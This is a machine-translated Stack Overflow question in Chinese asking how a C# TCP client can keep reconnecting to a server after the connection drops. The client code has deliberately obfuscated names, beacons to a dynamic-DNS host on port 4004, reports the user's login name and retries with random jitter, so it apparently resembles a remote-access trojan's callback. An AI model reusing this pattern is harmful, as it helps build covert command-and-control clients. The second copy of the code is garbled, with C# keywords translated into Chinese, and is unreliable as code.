C#将客户端重新连接到服务器

几天来，我一直在尝试让客户端在服务器连接关闭时检测到它，并循环连接尝试，直到它检测到可用连接（打开服务器）以及我尝试关闭与客户端的连接。关闭和关闭（关闭。两者）停止应用程序

谢谢你，如果你能帮助我，我没有纠正错误或解决代码

 [DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
    public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);

    public static TcpClient QKICDdjIKo = new TcpClient();
    static IPEndPoint MjDHEHn = null;
    static IPHostEntry hostEntry;
    static List<TcpClient> countConnections = new List<TcpClient>();
    static StreamReader reader;
    private static byte[] _readBuffer;
    private static byte[] _tempHeader;
    public static bool Connected { get; private set; }
    public static bool Exiting { get; private set; }
    //

    public static int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB
    public static int HEADER_SIZE { get { return 4; } } // 4B
    private static bool IsConnectionSuccessful = false;
    private static ManualResetEvent TimeoutObject = new ManualResetEvent(false);
    private static Exception socketexception;
    public static bool isconnected;


 public static void Connection()
    {

        TimeoutObject.Reset();
        socketexception = null;
        try
        {

            if (!QKICDdjIKo.Connected)
            {
                _readBuffer = new byte[BUFFER_SIZE];
                _tempHeader = new byte[HEADER_SIZE];
                hostEntry = Dns.GetHostEntry("noip host");
                var ip = hostEntry.AddressList[0];
                MjDHEHn = new IPEndPoint(IPAddress.Parse(ip.ToString()), 4004);
                QKICDdjIKo.Connect(MjDHEHn); // Option 1
                // QKICDdjIKo.BeginConnect("127.0.0.1", 4004, new AsyncCallback(khmcbmPmGPCfIOcPKOBONAbnGnfFIJnpREd), QKICDdjIKo);  //Option 2
                OperatingSystem os_info = Environment.OSVersion;
                ConnectedVerify(Environment.UserName.ToString());
                QKICDdjIKo.GetStream().BeginRead(_readBuffer, 0, _readBuffer.Length, ReadMSG, 0);


            }

        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message);
        }
    }
private static void CallBackMethod(IAsyncResult asyncresult)
    {
        try
        {
            IsConnectionSuccessful = false;
            TcpClient tcpclient = asyncresult.AsyncState as TcpClient;

            if (tcpclient.Client != null)
            {
                tcpclient.EndConnect(asyncresult);
                IsConnectionSuccessful = true;
            }
        }
        catch (Exception ex)
        {
            IsConnectionSuccessful = false;
            socketexception = ex;
        }
        finally
        {
            TimeoutObject.Set();
        }
    }
public Form1()
    {
        InitializeComponent();
        Connect();
    }
 public static void Connect()
    {
        while (!Exiting) // Main Connect Loop
        {
            if (!Connected)
            {
                Thread.Sleep(100 + new Random().Next(0, 250));
                Connection();
                Thread.Sleep(200);

                Application.DoEvents();
            }
            while (Connected) // hold client open
            {
                Application.DoEvents();
                Thread.Sleep(2500);
            }
            if (Exiting)
            {
                //QKICDdjIKo.Close();
                return;
            }
            Thread.Sleep(3000 + new Random().Next(250, 750));
        }
    }
public static void ReadMSG(IAsyncResult now)
    {
        try
        {
            while (true)
            {
                reader = new StreamReader(QKICDdjIKo.GetStream());
                Rd(reader.ReadLine());
                QKICDdjIKo.GetStream().BeginRead(_readBuffer, 0, _readBuffer.Length, ReadMSG, 0);
            }

        }
        catch
        {


        }
    }
public static void HjoLNkEHFaqQCp(string texto)
    {
        try
        {
            StreamWriter DpBoDcECG = new StreamWriter(QKICDdjIKo.GetStream());

            DpBoDcECG.WriteLine(texto);
            DpBoDcECG.Flush();
        }
        catch
        {
            //
        }
    }
 public static void Rd(string msg)
    {

    }
static void Status(string msg)
    {
        try
        {
            StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
            writer.WriteLine("STATUS|" + msg);
            writer.Flush();
        }
        catch
        {

        }
    }
static void ConnectedVerify(string msg)
    {
        StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
        writer.WriteLine("CONNECTED|" + msg);
        writer.Flush();
    }
static void usr(string msg)
    {
        StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
        writer.WriteLine("USER|" + msg);
        writer.Flush();
    }

[DllImport（“winmm.dll”，EntryPoint=“mciSendStringA”）]
public static extern void mciSendStringA（字符串comandonow、字符串RetronNow、long longitudnow、long callbacknow）；
公共静态TcpClient QKICDdjIKo=新TcpClient（）；
静态IPEndPoint MjDHEHn=null；
静态IPHostEntry-hostEntry；
静态列表countConnections=new List（）；
静态流阅读器；
专用静态字节[]\u readBuffer；
专用静态字节[]\u tempHeader；
公共静态布尔连接{get；private set；}
公共静态bool退出{get；private set；}
//
公共静态int缓冲区大小{get{return 1024*16；}}//16KB
公共静态int头_SIZE{get{return 4；}}//4B
私有静态bool IsConnectionSuccessful=false；
专用静态ManualResetEvent TimeoutObject=新的ManualResetEvent（假）；
私有静态异常socketexception；
公共静态门断开；
公共静态无效连接（）
{
TimeoutObject.Reset（）；
socketexception=null；
尝试
{
如果（！QKICDdjIKo.Connected）
{
_readBuffer=新字节[缓冲区大小]；
_tempHeader=新字节[头大小]；
hostEntry=Dns.GetHostEntry（“noip主机”）；
var ip=hostEntry.AddressList[0]；
MjDHEHn=newipendpoint（IPAddress.Parse（ip.ToString（）），4004）；
QKICDdjIKo.Connect（MjDHEHn）；//选项1
//BeginConnect（“127.0.0.1”，4004，新的异步回调（KHMCBMPGPCFIOCPKOBONABNGNFFIJNPRED），QKICDdjIKo）；//选项2
OperatingSystem os_info=Environment.OSVersion；
ConnectedVerify（Environment.UserName.ToString（））；
QKICDdjIKo.GetStream（）.BeginRead（_readBuffer，0，_readBuffer.Length，ReadMSG，0）；
}
}
捕获（例外情况除外）
{
MessageBox.Show（例如Message）；
}
}
私有静态void回调方法（IAsyncResult asyncresult）
{
尝试
{
IsConnectionSuccessful=false；
TcpClient TcpClient=asyncresult.AsyncState作为TcpClient；
if（tcpclient.Client！=null）
{
tcpclient.EndConnect（异步结果）；
IsConnectionSuccessful=true；
}
}
捕获（例外情况除外）
{
IsConnectionSuccessful=false；
socketexception=ex；
}
最后
{
TimeoutObject.Set（）；
}
}
公共表格1（）
{
初始化组件（）；
Connect（）；
}
公共静态void Connect（）
{
（！退出）//主连接循环时
{
如果（！已连接）
{
Sleep（100+new Random（）.Next（0250））；
连接（）；
睡眠（200）；
Application.DoEvents（）；
}
while（Connected）//保持客户端打开
{
Application.DoEvents（）；
睡眠（2500）；
}
如果（退出）
{
//QKICDdjIKo.Close（）；
返回；
}
Sleep（3000+new Random（）.Next（250750））；
}
}
公共静态void ReadMSG（IAsyncResult now）
{
尝试
{
while（true）
{
reader=newstreamreader（QKICDdjIKo.GetStream（））；
Rd（reader.ReadLine（））；
QKICDdjIKo.GetStream（）.BeginRead（_readBuffer，0，_readBuffer.Length，ReadMSG，0）；
}
}
抓住
{
}
}
公共静态无效HjoLNkEHFaqQCp（字符串文本）
{
尝试
{
StreamWriter DpBoDcECG=新的StreamWriter（QKICDdjIKo.GetStream（））；
dpbodcg.WriteLine（texto）；
dpbodceg.Flush（）；
}
抓住
{
//
}
}
公共静态无效Rd（字符串消息）
{
}
静态无效状态（字符串消息）
{
尝试
{
StreamWriter writer=newstreamwriter（QKICDdjIKo.GetStream（））；
writer.WriteLine（“STATUS |“+msg）；
writer.Flush（）；
}
抓住
{
}
}
静态无效连接验证（字符串消息）
{
StreamWriter writer=newstreamwriter（QKICDdjIKo.GetStream（））；
writer.WriteLine（“CONNECTED |”+msg）；
writer.Flush（）；
}
静态无效usr（字符串消息）
{
StreamWriter writer=newstreamwriter（QKICDdjIKo.GetStream（））；
writer.WriteLine（“用户|”+msg）；
writer.Flush（）；
}

不相关提示：

StreamReader

和

StreamWriter

是可识别的，因此每个都应该位于

使用

块中。欢迎使用堆栈溢出。请更详细地描述应用程序的预期行为以及它与实际行为的区别。你的问题不包含任何问题，也不清楚你到底有什么问题。此外，那些晦涩难懂的名称（如

HjoLNkEHFaqQCp

）和不从任何地方调用的多余代码（如

CallBackMethod

）也不会使帮助您变得更容易。查看并尝试改进您的问题。